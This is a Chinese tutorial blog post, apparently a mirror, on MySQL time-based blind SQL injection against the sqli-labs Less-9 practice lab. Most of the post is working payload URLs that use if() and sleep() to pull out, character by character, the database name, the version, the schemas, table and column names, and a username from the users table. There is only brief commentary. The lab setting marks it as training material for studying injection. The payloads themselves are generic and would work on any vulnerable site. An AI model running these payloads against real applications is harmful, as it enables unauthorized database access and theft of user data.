zoukankan      html  css  js  c++  java
  • MYSQL时间盲住

     

    mysql注释 -- ,-- -,#,--+等

    常用的判断语句:

    ' and if(1=0,1, sleep(10)) #

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

    下面开始实验

    这里我是知道数据库长度的,所以用的是等于=,实战中可以用大小于二分法来进行一个判断,缩短时间(或者丢sqlmap里)

    1,输入检测语句

    http://192.168.0.174/Less-9/?id=1'and if(1=0,1, sleep(4)) --+

    sleep(4)是延迟4秒 --+是注释

    按F12 -网络-右下角显示4秒后显示

    所以说明咱们插入的语句被带入了数据库查询

     

    2,查询当前数据库的长度,payload:

    http://192.168.0.174/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

    length : 用于截取当前数据库的长度

     

     

    延迟10秒说明我们判断的长度正确,当前数据库长度为8

    3,查询当前数据库的第一个字符,payload:

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

    (substr(database(),1,1) : 截取当前数据库的第一个字符

    ascii : 把截取到的字符串转换成ascii码(ascii表在最下面)

    发现延迟了10秒,那么ascii码是等于115,通过查找ascii码表,115是小写的s

     

    当数字改为2表示第二位数字,通过这样改变位数一个一个字符串进行截取,判断出数据库的名称为security

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),2,1))=115,sleep(10),1)--+

    4,

    1.爆数据库的版本长度

    http://192.168.0.174/Less-9/?id=1'and If(length((version()))=14,sleep(10),1)--+

    2.爆数据库版本的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)--+

    3.爆第一个数据库的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

     

    4.爆第一个数据库的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

     

    这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

    5.爆security数据库里的第四个表的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

    6.爆security数据库里的第四个表的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

    7.爆security数据库里的users表的第二个字段长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

    8.爆security数据库里的users表的第二个字段的第一个字符

    http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

    9.爆security数据库里的users表的第二个字段的第一个数据的长度

    http://192.168.0.174/Less-9/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

     

  • 相关阅读:
    数据库: Android使用JDBC连接数据库实现增 删 该 查 操作(8.0版本)
    SWA2G422&485JK2G基础篇: 手机APP通过APMACBind方式绑定W5500(以太网)设备,实现MQTT远程通信控制
    ESA2GJK1DH1K微信小程序篇: 微信小程序MQTT连接阿里云物联网平台
    ESA2GJK1DH1K基础篇: 阿里云物联网平台: 测试MQTT连接阿里云物联网平台
    ESA2GJK1DH1K微信小程序篇: 小程序MQTT底层优化
    ESP8266 SDK开发: 准备工作-硬件说明
    ESA2GJK1DH1K数据篇: 数据篇准备工作
    ESA2GJK1DH1K升级篇: 网页实现MQTT控制- 网页版MQTT通信控制ESP8266设备,网页版MQTT连接阿里云通信
    ESA2GJK1DH1K升级篇: 网页实现MQTT控制- 网页版MQTT调试助手
    单片机模块化程序: CRC校验
  • 原文地址:https://www.cnblogs.com/dggsec/p/8805654.html
Copyright © 2011-2022 走看看